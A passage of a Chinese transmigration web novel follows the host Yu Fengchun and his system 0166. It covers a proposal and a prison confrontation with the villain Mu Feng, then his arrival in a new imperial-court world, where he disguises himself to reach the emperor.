邵逾白走到今日,披荆斩棘,计划中的每一个字,背后都藏着一位旧日的亡灵。
只是他实在没想到,有朝一日亡灵复生,竟活生生地站在自己面前。
这下,就算想好去死,也不得不继续留下了。
余逢春满意了,重新躺回床上,小腿自然而然地往邵逾白身上搭。
“我们什么时候能出去?”
邵逾白握住他的小腿,手指顺着经络往上按摩。“你想什么时候出去?”
余逢春舒服得哼哼两声,想了一会儿:“我都可以。”
刚才的谈话太消耗力气,余逢春有点累了。自从复活以后,他就一直嗜睡,大概是气血不足的缘故。
好在没什么事需要他太操心,邵逾白做事有分寸,余逢春知道他不会在自己还活着的时候做太疯狂的事情,于是也很放心,放任自己摊成一团没什么用的天蓝色团子。
0166在上帝视角中观看着这一刻的两个人,觉得真是有意思。
在余逢春来之前,世界的崩溃趋势几乎是可以预见的,像一块从山顶坠落的巨石,毫无挽回余地,只能一路狂奔,加速着撞向毁灭。
而在余逢春出现之后,一切突然就迎来了转机,危险的毁
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灭趋势开始缓慢回升,最后趋于平稳,几乎让人看不出半年前的险峻模样。
就仿佛余逢春是那唯一一条勒在邵逾白脖颈上的绳子,只有他能止住坠落的巨石,也只有他能让邵逾白推翻已经敲定好的全部计划,转而走向一条更平稳也更漫长的修复之路。
联盟如今的情形,要么全部打碎,洗牌重来;要么就要走上漫长艰难且未必有太好结果的革新之路。
邵逾白曾坚定的选择第一条,并不在乎道路的结局是毁灭还是重生,而余逢春的到来则又把他推向了岔路口。
为了心上人能睡很安稳的觉,这一次,邵逾白选择的第二条。
说什么拯救世界,其实余逢春出现的那一秒钟,一切就都有救了。
0166看得新奇,不理解世界上怎么会有邵逾白这种爱得死去活来的人,好像从第一次见面起,余逢春就把自己种进了他的身体里。
真是有意思。
……
……
……
三天后,联盟迎来了一次内部大洗牌。
没有人清楚这一切是何时谋划,等形式逐渐明了时,邵逾白的势力已经将中央星及其附属枢纽全部控制,星球上的所有人,命都握在他的手里。
凌晨3点,中央星最高通讯台发布通知,全球戒严,如无要事不得外出。
联盟军部召开内部会议,商议下届元帅人选,邵逾白的名字赫然处在其中。
同时,议会开始大选,贵族与平民人数迎来空前转变,且有流言传出,说之后的权力结构也会进行调整。
重型枪炮下,生命岌岌可危,一切都变得很好说话。
余逢春被人从睡梦中唤醒,烦躁地翻了身,用毯子把头包住。
“不起。”他语气坚定,“你自己去。”
“很快就到,我明天有些事,我想今天晚上带你一起走。”
邵逾白还在哄他,小心地把毯子扯下来。
余逢春睁开眼,发现邵逾白已换下了平常的衣服,一套崭新的军装妥帖得穿在身上,衬得他肩膀宽厚,身材精壮。
余逢春被男色迷了心窍;“……抱我起来。”
邵逾白连人带毯子一起抱进怀里,走出室内,已有飞行器在外的问候。
阿克苏本想大声问好,欢迎上将出狱,结果刚要张嘴就被人眼神制止,这才发现上将怀里躺着个还在睡的。
“释放公文已经下发了。”他低声汇报,“联盟认定元帅的死和您无关。”
要不说官难当,这种识实务的本事一般人可学不会。
邵逾白点点头,把人抱上飞行器,细心掖好毯子,生怕人被风吹着。
“云阙打扫好了吗?”他问。
阿克苏连忙点头,“都收拾好了,光屏也换了新的。”
余逢春听到噪音,动了一下,阿克苏瞬间闭嘴,假装刚才说话的不是自己。
邵逾白也没再问什么,一行人先去了云阙。
深夜的首都星,街道上空无一人,到处弥漫着戒严的压抑气息,第七军的巡逻队路过拐角,认出飞行器型号后停住敬礼。
一夜之间,形势倒转。
来到云阙后,邵逾白把余逢春放在床上。
其实折腾这么长时间,余逢春的睡意已经被折腾得差不多了,因此当感觉到邵逾白要离开时,他睁开眼睛。
“去哪儿?”
邵逾白顿住脚步,回到床上。
“我也要去见几个人。”他说,“之后可能会忙一段时间。”
当然了,当你控制住首都星,逼迫他人推选你为元帅,并且下定决心在之后开启一系列改革时,忙相当长的一段时间已经是可以预见的了。
余逢春点点头,并不关心。
“路上小心。”他翻了个身,“我白天去看你。”
邵逾白点头:“好。”
他半跪在床上,从余逢春的额间留下一吻,随后离开了。
第二天早晨,余逢春起床。
刚走下楼梯,他就看到之前被打烂的光屏已经换了张新的,此时正在无声播放新闻。
观测到有人进入客厅,光屏自动开启声音。
画面里,邵逾白的脸一闪而过。
他在一众人的拥簇中走进军部大楼,侧脸冷硬漠然,身材挺拔修长,普通的军装穿在他身上,看着比寻常衣服更贴身合适。
这几乎就是所有人梦想中才会出现的联盟军人模板。
数据组成的女主持人声音镇定而暗藏喜悦。
新的元帅即将任命。
余逢春面无表情地咬了口苹果,关闭光屏。
21. 承诺
联盟议会的门口,矗立着一座正义女神的塑像,只是不同于以往传统形象中的手持双剑,这座女神塑像的手里托举着一个小巧的天平。
天平倾斜,一端装着满满的金色沙粒,另一端则被清晨的露水盛满。
几滴露水重过黄金。
这大概是有所寓意的,但联盟官方并未真正解释过这座塑像的含义,因此人们各有各的理解,而大多流行的说法是,这尊塑像象征着联盟改革的决心。
如今是新历七年。
太平无事的一年。
余逢春下车,挡住正午刺眼的阳光,阿克苏见到人来,连忙迎上去。
“你怎么亲自来了?”余逢春任由他接过自己手里的东西,语气好奇。
阿克苏身为元帅副官,每天要忙很多事,有时候邵逾白都休息了,他还在干活,几乎有种要死在工位上的壮烈感。
“楼上吵着呢,”阿克苏说,“元帅怕你被人堵到,所以让我来接应一下。”
余逢春问:“在和谁吵?”
“还能和谁?”阿克苏挤眉弄眼,“判决令已经下来了,再过几天就要行刑,穆家人都快急疯了。”
余逢春了然。
半年前,一名第三星系的商人带着一纸诉状,告到联盟议会,矛头直指当时的第三军统领穆锋,说他在军中大肆培养亲信,任人唯亲,纵容手下鱼肉百姓,种种罪行罄竹难书。
联盟对此很重视,专门组织调查小组对其展开调查,半年来终于有了结果。
穆锋在担任第三军统领期间,违反多条联盟法律和军部管理纪律,经联盟最高法院审理,判处穆锋终身监禁,其子穆联城死刑,没收家产充公。
更细的处罚还在商议确定,但穆家绝大多数亲属在军部的职务已被免除。联盟虽有贵族,但贵族里不会再有穆家了。
余逢春走进专属通道,刚踏出连接口就听到远处一阵尖叫和哭喊。
他看向阿克苏,阿克苏完全没掩饰面上的嘲讽,轻蔑一笑后道:“他们想见元帅。”
“邵逾白不见?”
“这不符合规定,要是什么人都能见元帅的话,那一天到晚就光在办公室坐着好了。”阿克苏说得冠冕堂皇,“就是在这儿堵着,挺烦人的。”
余逢春踮起脚尖,远远朝着嘈杂声的方向看了一眼。
曾经衣着考究自诩高贵的贵族们,吵闹的模样与他们最瞧不起的平民无异,披头散发、形容狰狞。
原来只要到了山穷水尽的地步,再位高权重的人都是一个模样。
“穆锋服气了吗?”他漫不经心地问。
阿克苏摇头:“他怎么可能服气?”
也是,纵横这么多年,一朝被扯下来,不会反思自己以前都做错了什么,该如何弥补,只会想着到底是哪个环节出了纰漏,才让自己倒这种血霉。
余逢春点点头,不再关心穆家的事,转身接过阿克苏手里的东西,朝着邵逾白的办公室走去。
刚进门,他就迎上一束目光。
邵逾白坐在桌前,仿佛早知道他会什么时候推门,见他进来,手指一点关闭光屏,眼神柔和地等待着。
“听不见外面的声音吗?”余逢春关上门,靠在门口笑道。
邵逾白:“不是什么大事,吵两天就走了。”
“脾气真好。”
余逢春半真半假地称赞一句,将拿了一路的盒子放到书桌上,压着一堆文件。
“这是什么?”
邵逾白的注意力都在余逢春身上,才发现他带来一个小盒子。
余逢春坐在旁边沙发上,并不回答,只是扬扬下巴:“打开看看。”
盒子只有人手掌大小,装不下午餐或者特别稀奇古怪的东西,邵逾白的目光顺着余逢春嘴角的轻笑一路滑到盒子表面,发现纹饰优雅,是精心挑选过的。
沉思片刻,他挑开锁扣,将盒子打开。
咔哒一声轻响,漆黑的绸布表面,摆着两枚样式简单的对戒,银光流溢,戒指内侧刻着他俩的名字。
而嵌在戒指上的主石,模样异常熟悉。
“我把那块你送我的石头切开了。”余逢春说,“磨了很久才做出来,好看吗?”
戒指上面基本没有装饰,但边角圆润,每一道刻痕都很精细,显然制作过程并没有余逢春讲的那么轻松。
而更让邵逾白说不出话的,是这对戒指背后的含义。
他闭上眼睛,缓了好久才开口:“……这是求婚吗?”
“嗯……”
余逢春假装考虑,吊了他一会儿,然后才在邵逾白急切期待的目光中点了点头。
“先说好,我不准备下跪。”
“我可以!”
邵逾白噌地一下站起来,完全没有平日沉稳淡定的模样,两枚对戒被他紧紧攥在手中,片刻便沾染上人体的温度。
他半跪在地,像以前的许多次那样牵起余逢春的手。
以前,他跪在地上,给余逢春戴上的是他最恨的东西。
而这一次,戒指无比严丝合缝地推至无名指指根,宝石闪烁,莹润且富有光泽。邵逾白的名字印在戒身,贴着余逢春的皮肤和心跳。
余逢春对面前的场景很满意,在沙发上弯下腰,也帮邵逾白戴上。
这绝对算不上一个端正严肃的仪式,好在他们都对此没有意见。
余逢春知道邵逾白还是在紧张担心,怕他会忽然消失。
偶尔几夜,余逢春在梦中醒来还未睁眼,睡在一旁的邵逾白便感知到了他呼吸的变动,也随着他一起醒来。
邵逾白身上有一道很长很深的伤口,需要用一生的时间来愈合。
余逢春没有很好的办法让他安心,毕竟当时死是真死了,邵逾白可怜兮兮地来回找了那么多次,也只拼回了他的机甲残骸。
日思夜想,余逢春只能把自己能做的都做一遍。
“我其实是一个很传统的人,”握着邵逾白的手,余逢春郑重其事,“睡都睡了,我会对你负责的。”
太爷们太硬气的一句话,简直让人无法将其与昨夜那个抱着枕头一边骂一边往外爬的人对上号。
邵逾白低下头,很珍惜地看着他们手指上的戒指,相信了余逢春嘴里的负责。
煽情结束,余逢春选择聊聊正事。
他直截了当地问:“我进来前,你在看什么?”
他问得利索明快,邵逾白也不再遮掩。
“是环陇监狱传来的消息,”他道,“穆锋一直说想见我。”
“见你?”余逢春不屑,“有什么好见的?死到临头非要膈应你一回吗?”
邵逾白笑笑:“大概是这样。”
余逢春想了一会儿,横躺在沙发上,状似不经意地问:“你要去见吗?”
“……”
邵逾白本已走至桌前,想调出监狱送来的原件让他看看,可余逢春这话一出口,他忽地转过身来。
门外的哭喊声还在继续,但已有力竭之态,余逢春指使0166打开隔音模式,淡定地和邵逾白对视。
须臾后,邵逾白明白了什么,点点头:“我确实要去见一见他。”
余逢春满意了:“我陪着你去。”
“好。”
*
*
*
如今的环陇监狱,已与一年前大不相同。
邵逾白上位以后特意整治过,该枪毙的枪毙,该继续服刑的继续服刑,争取不让任何一个该死的垃圾浪费联盟资源。
眼下监狱环境十分清静,基本看不见闹事的。
邵逾白到的时候已经是深夜,狱方派出两名狱警等候,接到人以后,便径直将他带进穆锋的囚室。
穆锋还没睡,这些日子他大概都没闭过眼,入狱前精壮的身材已经消瘦下去许多,眼下乌黑,非常憔悴,只是他投来的眼神仍然锐利,带着难以消磨掉的恨。
单听到脚步声,他就知道是谁来了。
“我还以为你要躲我一辈子,”他呵呵笑着,看像站在自己牢房门口的邵逾白,“原来还有点胆子。”
邵逾白不理会他话里的嘲笑讽刺,只低下头整理手套,问:“你说想见我,有什么事?”
“想看看你是不是还一副虚伪样子,”穆锋自知大势已去,不再遮掩,“装了这么些年,别人都说你端正严谨,可临到最后,第一个拿枪指着联盟的人却是你自己。”
邵逾白顿住动作,看向他:“你心里清楚,我没有做任何损害联盟利益的事。”
又是一声嗤笑。
“我心里清楚?”
穆锋好笑一般重复邵逾白的话,自己点点头,“我是清楚,现在联盟上下都觉得你锐意革新,去年做的事虽然偏激,但其实也是为了联盟好,要挖去溃烂……他们傻,可我不是瞎子,你是个什么东西,我太清楚——你是为了联盟吗?你是为了给那个死人报仇!”
邵逾白眼眸微转,冷峻的神色有片刻松动。
这点变化非常细微,难以察觉,但穆锋自一开始便死死盯着邵逾白的神情,因此发现了。
他知道自己完了,穆家也完了,太多怨恨堆叠起来,让他生出险恶的报复心。
有一件事,邵逾白从来都不知道。<
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p>“……你知道为什么,当时明明还没结束作战,但联盟就一定要余逢春返回中央星吗?”他嘶哑着嗓子发问,眼里是毫不掩饰的恶意。
邵逾白不答,静静地看着穆锋。
穆锋看出了他内心的震动,歇斯底里地笑出声来。
联盟十二年前可真是下了手好棋,把两个祸害凑在一起。
笑完以后他一边喘着粗气一边说道:“你……你不知道,当时是我,我!”
他用力拍打自己的胸口,“敦促元帅下的命令,余逢春必须死,他不死,局势何时能安定?一个平民出身的杂种,一波接一波的挣军功,当了少将还不满意,还想当元帅吗?不可能!!”
他声嘶力竭地挥动手臂:“必须得死,你也得死!”
隔着一道道栏杆,邵逾白听着他濒死般的喘息声。
片刻后,他缓缓开口:“我知道是你暗中推动议会下的命令。”
穆锋咧嘴一笑,并没有气馁。
“那你一定不知道,余逢春第一次在战场失控,也是我下的手。”他说。
“……!”
邵逾白倏地抬眸,眼神刀剑般锋利,在漆黑冰凉的夜色遮掩下,令人胆寒。
可他表现得越愤怒,穆锋就越痛快。
“那可是一万人的舰队,余逢春是个疯子,可也没有那么疯,年纪轻轻,不知天高地厚——我只不过是在操纵装置上略微动了点手脚,他就万劫不复了。”
穆锋提起往日旧事,神色得意非常,好像那算得上是他一生难得的丰功伟绩,而邵逾白的怒火,则在为这些功绩锦上添花。
“你恨我也没办法,元帅,”说到最后,穆锋笑着抹了把脸,“杀了我又能怎么样呢?他回不来了。死人不能复生,你恐怕只能去也不知道有没有的地府里找他了!”
他预料到这大概会是给邵逾白的最后一击,因此满心满意的等待着,想知道邵逾白会有什么反应。
可他等了许久,也没有等到该有的崩溃,邵逾白似乎在他的话里得到了什么慰藉,忽然勾唇笑了一下。
一阵不好的预感顿时涌上穆锋心头。
“……你笑什么?”
他问。
邵逾白不答,只是低头摘下了从刚才开始便一直整理的手套,露出一双戴着戒指的手。
与此同时,走廊那边传来脚步声。
一张穆锋死了、化成灰也忘不了的脸,就这样出现在他眼前。
余逢春。
“不可能……这不可能……”
穆锋哆嗦着向前几步,目眦欲裂,“你不可能还活着,你已经死了……死了……”
在外面听完全程的余逢春心里憋着火,露出的笑比穆锋刚才还邪恶。
“对,我是死了,”他点头,“可你刚才说了错了一点,人死,不一定不能复生。”
“瞧!”
他挥挥手,状似不经意地露出和邵逾白明显一对的戒指。“我回来了!”
穆锋也不负所望地看到了那对戒指。
“不……这不可能——”
他来回看着余逢春和邵逾白手上的戒指,不愿意相信。
“你们这两只臭虫——”
未说出口的谩骂被一声惨叫打断,穆锋脸色惨白地倒在地上,不住地撕扯着脖子上的放电装置,浑身抽搐。
“注意你的言辞,”余逢春隔着栏杆点点他,“而且死而复生而已,这很可能。”
说着,他用力拽住在一旁围观的邵逾白的衣领,迫使他弯下腰,戒指在他胸口闪亮夺目。
当着穆锋的面,两人吻在一起。
“永远不要小瞧我们的决心。”
亲完以后,余逢春笑着拍拍邵逾白的胸口,对躺在地上如一滩烂泥的穆锋说道。
穆锋脸色铁青,吐了一地。
说完,两人没再给穆锋留一个眼神,相携离开了监狱。
“我最喜欢这种场景了。”
站在夜风中,余逢春说。
“什么?”
邵逾白在他身侧,闻言看他。
“这样。”
余逢春比划了一下,“你在这里,我也在这里,一切都很好……不要再想以前的事了。”
他对邵逾白说,表情很认真。
邵逾白怔然。
夜色温柔下,余逢春撩开一缕挡在额前的头发,指间宝石接住星光。
“我们都在这里,以后也只会有我们。”
他说:“我不会不管你的。”
这是余逢春的承诺,他向来言出必行。
邵逾白可以安心了。
22. 新的世界
[世界编号C0862,现已成功稳定,封存中……]
[恭喜宿主余逢春完成任务,任务成绩正在结算……]
[结算成功。]
脱离任务世界的眩晕感无论多少次都无法适应,余逢春一睁眼,话都来不及说一句,连滚带爬地冲进厕所,吐得昏天黑地,差点连心肝脾肺肾都吐出来。
吐完以后,他趴在洗漱台上,有气无力地:“快,打开治疗……”
0166在忙别的事,心不在焉:[再等等。]
余逢春觉得自己的脑子要炸了,发觉指望不上0166之后便试图自救,走到客厅的小药柜前一通翻找。
当他终于在极度眩晕中找到那瓶几百年前买来的药时,一阵兴奋的系统尖叫声突然在他脑子里炸开——
[85!!!85!!!]
0166一辈子没发出过这样的声音:[你及格了!!!85——我及格了!我就知道我有成功的潜质!]
药瓶滚到地上,余逢春差点又吐出来。
“求你了,小声点,今天我要是死在这儿,那你以后再也拿不到60以上的分数了,”他艰难地威胁,“你的统生最高分就会定格在85。”
此言一出,本已经兴奋得快要打鸣的0166骤然安静下来。
[不行,]它暗自咕哝,神经兮兮,[我的最高分应该是100,85很好,但是还有很大的进步空间,你必须得再接再厉……]
它终于打开了防晕眩模式。
余逢春死而复生,从地上爬起来。
“所以,”他把药瓶扔回抽屉,“现在任务世界怎么样了?”
突破六十分的噩梦,0166的脾气像一位慈祥的老奶奶,有问必答。
[邵逾白去世以后,按照惯例,任务世界已经封存。]
余逢春在上个世界呆了一百五十年,大部分时间都在吃喝玩乐,没怎么费心,邵逾白是个很省心的主角。
“什么时候去下一个世界?”他问。
0166:[看你,不过最好在三天内。]
余逢春伸了个懒腰,感觉有点饿,朝厨房走去。
和邵逾白一起生活了一百多年,过了一百多年衣来伸手饭来张口的日子,现在忽然什么都要自己动手,余逢春其实有点不适应。
给自己接了杯水,余逢春带着药片回到卧室。
“明天就出发吧,”他说,“我睡一觉就走。”
0166很诧异:[真的?]
余逢春从来不是积极工作的那类员工,一般是能拖就拖,恨不得一年就出一次任务,得0166在后面追着说,才肯点头工作。
就这样,还在任务期间各种阳奉阴违,使出各种奇妙手段,把60分捧回家。
有段时间,系统空间里的一些破烂玩意儿闲着没事干,给他们起了个外号,叫六十大王组合。
0166气得直接告到了主神那里,然后不解气,又叨叨了余逢春一个月。
余逢春完全没觉得自己刚才的话有什么不对劲。
“对啊,”他吃完药,盖上被子,“明天就去呗,你今晚有事吗?”
0166从过往不堪回忆中回过神,半信半疑。
[没有。]
余逢春调整一下姿势,盛情邀请:“没有的话,咱俩看个电影再走。”
其实只要不涉及任务成绩方面,他俩关系还挺好的。
0166被85分的成绩激励到,加上一般宿主脱离任务后会很需要系统的陪伴,因此它只思考两秒就同意:
[可以,看什么?]
余逢春兴奋起来,蹬开被子开始翻找。
他真实的身体上可没有那些吓人的疤痕,肌肉有力肤色白皙莹润,虽然只穿了一身宽大的灰色睡衣,但粗粗瞥一眼还是相当漂亮。
0166偶尔会觉得看余逢春是一种享受。
他们最后选了一部冒险电影,刚准备好吃的喝的,往床上躺好,一个通知就直接发给了0166。
余逢春察觉到了0166的不对:“怎么了?”
0166查看后发出咔哧的声音:[没事,主脑刚才好像有一小段运行故障,已经没事了。]
余逢春塞了把薯片进嘴里:“为什么会有运行故障?”
[不知道,]0166很老实地回答,[不过这种事情也常有,一些数据流的流溢吧,很正常——她女儿为什么不喜欢她?]
余逢春的注意力也转到电影上:“因为十年前她抛下家庭离开了。”
0166哦了一声,一人一统看完了电影。
到了睡觉的时候。
余逢春收拾干净床,躺下以后才想起最要紧的问题。
“所以我下一个世界去哪里?”
0166查看任务书:[G1749,有印象吗?]
“……”没有,余逢春很诚实地回答,“只有系统才能记住这些,我们每次其实都是装自己知道的。”
猝不及防被告知了一个宿主之间的秘密,0166沉默片刻:“绍齐。”
两个字如同暗号,瞬间开启了余逢春的记忆大门。
“为什么去这里?”
[按照顺序排到的,有什么问题吗?]
余逢春想了一会儿,摇头:“没有,就是有点惊讶,我还以为那孩子挺乖的……”
话语消弭在唇间,余逢春躺在床上,若有所思。
0166对此有不同的看法,亮了一张数据表在余逢春眼前。
这是他目前去过的任务世界的稳定程度,除了刚去过的那个,其他一片象征濒临崩溃的红色。
[你管这叫乖?]
余逢春:……
“他以前真挺好的,谁知道是不是出了什么意外……”
他嘟囔着为主角辩解,“明天去了就知道了!”
说完,他果断翻了个身,用行动表明拒绝交谈。
“睡了,晚安!”
0166离开了。
在药物的作用下,余逢春很快入睡。
……他梦见了绍齐。
雪沫飘进庙堂,冷冽呼啸的狂风将窗框吹得晃动,余逢春走进门,只来得及挡住一盏将要熄灭的灯,就听到身旁的小沙弥说:
“先生,他还在外面跪着。”
闻言,余逢春咳嗽一声,在沙弥担心的眼神中走至窗前,拨开布帘向外看去。
漫天白净的大雪下,山上山下的一切景色都干净着模糊起来,狂风大作,余逢春只能隐约在一片白中看到一个摇摇晃晃的黑点。
有人开口:“已经一天一夜了。”
余逢春回过头去,看到一个满脸皱纹的老秃头站在他身后,同样在看跪在外面的那个人。
他一言不发,撂下布帘。
半晌后才硬邦邦地开口:“绍齐的国运尽了。”
和尚摇头:“依老衲看,不尽然。”
苍老粗糙的手指点点门外:“出这么一位皇孙,绍齐能再看五十年。”
余逢春沉默下去。
片刻后,他勉强道:“……说不定再过一会儿他就走了。”
和尚笑了,看向余逢春的眼神让他很不喜欢:“除非昏死过去,否则他不会走。”
“为什么?”
“因为要是得你相助,绍齐能看一百年。”
“……”
余逢春盯着他看了一会儿,似乎无可奈何。
再撩开布帘,那个摇摇欲坠的黑点终于坚持不住,在寒风凛冽中倒了下去。
脸色微变,余逢春转头示意,两名身材壮硕的武僧会意走出庙外,将那个在外面跪了一天一夜的娇贵皇子抱进室内。
庙里早就准备好了驱寒救命的药膏,人一抱进来,便各自分工开始救治,别让人落下什么病根。
一时间,屋子里忙成一锅粥。
余逢春回头瞟了一眼,就发现那老和尚正笑呵呵地站在窗边看着,一点没有搭把手的意思。
“不怕他死了?”
方丈听出他话里的挑衅意思,却半点没有生气。
“这位皇孙,寿数长着呢,”他笑道,“倒是余先生,在小庙住了这么多天,没有出去瞧瞧大好河山的意思吗?”
“这么大的雪,落在地上,哪里都一样,有什么好看的?”
仿佛听出他的心口不一,方丈笑了。
这时,挤成一坨的人群终于松散一些,方丈朝着那个方向示意,余逢春杵在原地等了一会儿,还是朝那里走去。
于是,他终于看清了那个无论如何都要拜他为师的皇子的模样。
——面容清秀、脸色苍白,眼角眉稍带着点矜贵气。因为年纪太小,身量还没完全长开,但已然能看出以后会是俊秀挺拔的模样。
天太冷了,擦了又擦,他的身上还是有一滩刚化开的雪渍,顺着发丝滴在脸上。
余逢春坐在床边,伸手替他揩去。
还是个孩子呢,他暗暗想。
也正是在这时,那个孩子睁开了眼睛。
苏醒的朦胧迷茫只用不到半秒便化为审视的锐利,余逢春坐在床边,坦然接受着他的考量。
片刻后,似是看清什么,皇子露出一个格外好看的笑,像装成乖小狗的小狼。
“您就是余先生吗?”他问。
余逢春点点头。
皇子操着一口沙哑的语调问:“先生愿意见我,是不是同意了?”
余逢春又点点头。
窗外,风雪肆虐。年轻的师傅第一次见他尊贵的学生,他们的第一次见面谈不上多和谐,但也不至于不愉快。
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人生初见罢了,无论多细致斟酌,都钻研不出日后的崎岖坎坷。
只可惜有些傻子,总以为初见就是一辈子。
……
第二天,依旧是在余逢春喝水的时候,0166来了。
[准备好了吗?]
没有一点预告,冷酷的机械声从脑子中响起,余逢春呛咳出声,叹了口气。
“我可以,”他放下杯子,“出发吗?”
0166不答,相当仔细地打量着他的脸色,而后道:[你看起来快要死了。]
“……不至于,”余逢春瞅了一眼镜子,发现确实像命不久矣,“就是做了个梦。”
[梦见谁了?]
“还能是谁?”
0166沉默一瞬,发现问题竟然真的难以反驳。
[别想了,]它胡乱安慰,[找个地方躺下,我带你过去。]
于是余逢春跑上楼,躺在床上。
系统运作程序。
[世界编号G1749,状态已完成,人物坐标跟随默认——五、四、三、二、一——]
*
*
*
定熙八年春,京郊荒山上。
春寒料峭、寒莺冷燕。
半月前刚下了一场大雪,如今雪还未化净,滴滴答答的雪水混着泥土,化成一股脏污的细流,顺着坡度一路向下滑去,汇入冰凉的溪流中。
这座山,在太祖皇帝时曾是皇家猎场的一部分,后来几代轮转加边境战乱,几位皇帝都不热衷出宫巡游,久而久之,便将这座山连带着附近的几亩良田一起赏给功臣,不再过问。
如今时气正冷,鲜少有人来,一座破庙建在半山腰,除了几只鸟雀,更是一点活气都见不到。
庙中许久不见香火,塑像已腐朽得看不出面容,只隐约辨认出人形,鸟兽粪便星星点点的遍布庙中,墙角堆着两张破烂草席。
草席下面,依稀睡着个人。
……
余逢春是被鸟叫声吵醒的。
庙里破破烂烂,除了勉强能遮风挡雨,一点保暖功效都没有,余逢春打了个哆嗦,勉强从草席里挣扎着坐起来,朝着远处放声大叫的鸟扔出一块石子。
“……到了?”
他恍恍惚惚,话刚说出口就开始咳嗽,咳得脊背都跟着颤,撕心裂肺。
0166:[到了。]
应急治疗程序启动,余逢春深呼吸平复心跳,晃悠着站起身来。
“我现在在哪儿?”他问0166。
0166答得很快:[你认识的。]
余逢春闻言原地转了半圈,目光落在刚才睡的墙角边上。
那里有一坨颜色发黑的斑点污渍,是陈年的血迹。
哦。
余逢春明白了。
这是他死的地方。
“现在的任务出厂配置越来越好了。”
了解到自己身处何方以后,余逢春低下头,观察了一番自己身上的穿着,发现虽然是死而复生,但衣服却并没有腐朽成一坨抹布,布料仍然是齐整完好的,顶多边角沾这些污渍和稻草屑。
太棒了,不用下山被人当乞丐了。
“现在是什么时间?主角在哪儿?”
0166程序运转片刻,答:[现在是定熙8年春天,主角已承袭皇位,现在在皇宫。]
余逢春很满意。
在皇宫就好,离得不算远,想见还是有办法的。
……
离开破庙,余逢春顺着记忆里来时的小路下山。
因为在破庙里睡了一夜,原本扎好的头发已经散开,余逢春蹲在溪水边,挽起袖子,将发间的青玉簪子收进怀里,转而找了根还算干净的树枝,挽起头发。
倒影里,余逢春盯着自己如今的面容端详片刻,怕刚下山就引火上身,果断花钱购入易容程序,给自己换了张脸。
五官变动扭曲,清秀的面容骤然普通起来,确定如今再看,无论如何都不会觉得面前人像八年前那位名震京师的帝师,余逢春才满意。
用溪水洗了把脸,甩甩手,余逢春随口问:“你对这个世界的崩溃有任何想法吗?”
这个问题实际上是他太无聊的时候,用来戳叽0166的小招数,并没有真的期待一个回答。
可与往常不同的是,0166运转查询片刻,竟真的给出了答案。
[当今皇帝,登基八年,无所建树,荒淫暴虐,沉迷后宫女色,大兴土木,民间怨声载道。]
0166自动检索出系统记录中关于这个世界的关键词总结,无机质的声音听得人心凉。
[边境贼寇兴起,战乱频繁,世人只赞丞相大义,救国于水火,又叹君子生不逢时,君上昏庸。]
[……绍齐危矣。]
23. 久别
下山之后,余逢春对0166的话有了更深刻的理解。
京城向来繁华,哪怕外面饿殍遍地,也死不到天子脚下,但刚过完元宵,皇城内本该是热闹的时候,如今却隐隐有些萧条之感。
从余逢春身边路过的男女老少不常开口说话,孩子叫着要吃糖瓜,被母亲一把拽过,恼了似的往屁股上拍了两巴掌,开始抽哒哒地哭。
余逢春一路向前,听到后面声音嘈杂,回过头去,几辆马车正从后面驶来,驾车的小厮相当粗鲁,一边喊人让开,一边做势拿鞭子抽人。
余逢春躲到墙角,听到旁边一个卖力气的伙夫骂骂咧咧。
“不就是仗着……”
伙夫嘴唇翕动,骂的很难听,但基本没有声音,显然自己也怕人听到。
余逢春好奇地看过去,伙夫同伴察觉到有人在看,连忙拽住伙夫,警惕地瞪了余逢春一眼,两人快步离开。
再朝马车离去的方向看,只能看到一路飞扬的尘土,和在马车边缘摇晃的丝绸。
单看外在装饰和基本用料,就知道这辆马车造价不菲。
余逢春皱起眉毛,暗自琢磨是哪家人有这等阵仗,底下人驾着马车在街道上横冲直撞,竟然半点都不避讳。
0166相当上道,察觉出余逢春的困惑,半分钟后找出答案:[这户人家姓梁,工匠,有个女儿,现在在皇宫里当妃子。]
余逢春离开巷子,边走边问:“很受宠吗?”
0166答:[入宫数年,无所出,已经是妃位了。]
哇。
余逢春无声地感叹,那一定是很受宠的。
“一人得道,鸡犬升天,他们家这么煊赫,也不是没有道理。”
余逢春表示理解,而后话风一转:“可他们怎么不知道收敛收敛?不怕被告上去吗?”
0166不说话了,事关世界进程的很多内容,系统无权得知,因此它也不清楚。
余逢春知道它的为难,不再追问,两手一揣,继续往前走。
不论主角现在昏庸成什么样子,余逢春作为他曾经的师傅,都得见他一面再做打算。
只是现在他登基,被困在皇宫里,不能随便进出,余逢春还得想办法进去才行。
“唉,没了官职,没了爵位……”
他站在街口,撩撩袖子,叹了口气。
若换做以前,别说进宫,就算是深更半夜进皇上的寝殿,也没人敢说什么,可余逢春死了又活,生前的荣誉都跟着他进了土,不再算数。
且学生大概率长成了个神经病,说不定见他一面直接发疯,提刀就砍,那更是让人头痛。
再加上……
余逢春想起系统提及的丞相,眉眼间更多了几分忧虑。
如此种种凑在一起,实在不是暴露身份的最佳时机。
正思量着,不远处忽然传来吵闹声,脚步声急急嚷嚷,身旁的行人像是看见什么东西,一齐朝着前方走去。
余逢春抬起头来,发现不远处的布告栏前站着几个官兵,手握长刀严阵以待,一名穿着内廷服饰的男子正蘸取浆糊,往布告栏上贴着什么。
怎么了?
人群拥挤,余逢春仗着自己瘦,在空隙里挤来挤去,走到布告栏正前方,眯起眼睛向上打量。
与此同时,一名官兵清清嗓子,大喊道:
“皇上有旨,诏天下名医,集于宫阙,以疗贵人疾苦!凡是有能耐的杏林圣手,皆可通过选拔,进宫面圣!”
面圣?
面圣!
余逢春当即支棱起来。
他举起手,高声问道:“这位官兵大人,不知是治疗哪位贵人?”
清悦的声音在低语的人群中回荡开,一时间不少人朝余逢春看来,发现问话的只是个模样普通的少年时,目光中多了几分可惜。
“你还不知道?”身旁有人用肩膀顶了余逢春一下。
余逢春不好意思地笑笑,拿捏住乡下孩子的那份羞怯憨厚。
他道:“我前几日刚入京,还不得而知。”
皇城之间的事,外地平民哪能得知,也难怪。
此言一出,众人皆明了。
官兵也不是个刺闹脾气,见余逢春实在不知,怕上面的人责怪自己办事不周,便有特意道:“是梁妃,娘娘近日玉体违和,宫中太医不得其法,故陛下特召集民间圣手,与太医一同诊治。”
“原来如此!”
余逢春点点头,说罢便继续用力挤去,向前直接凑到了布告下面,旁边的人想拦都拦不住。
他笑道:“各位大人,我少时曾随祖父行医,也算得了祖父几点真传,民间的疑难杂症,大多都懂些,不如让我试试。”
为首官兵闻言,将余逢春上下打量一圈,随后后退一步,与从刚才开始便一言不发的内廷宫人对视。
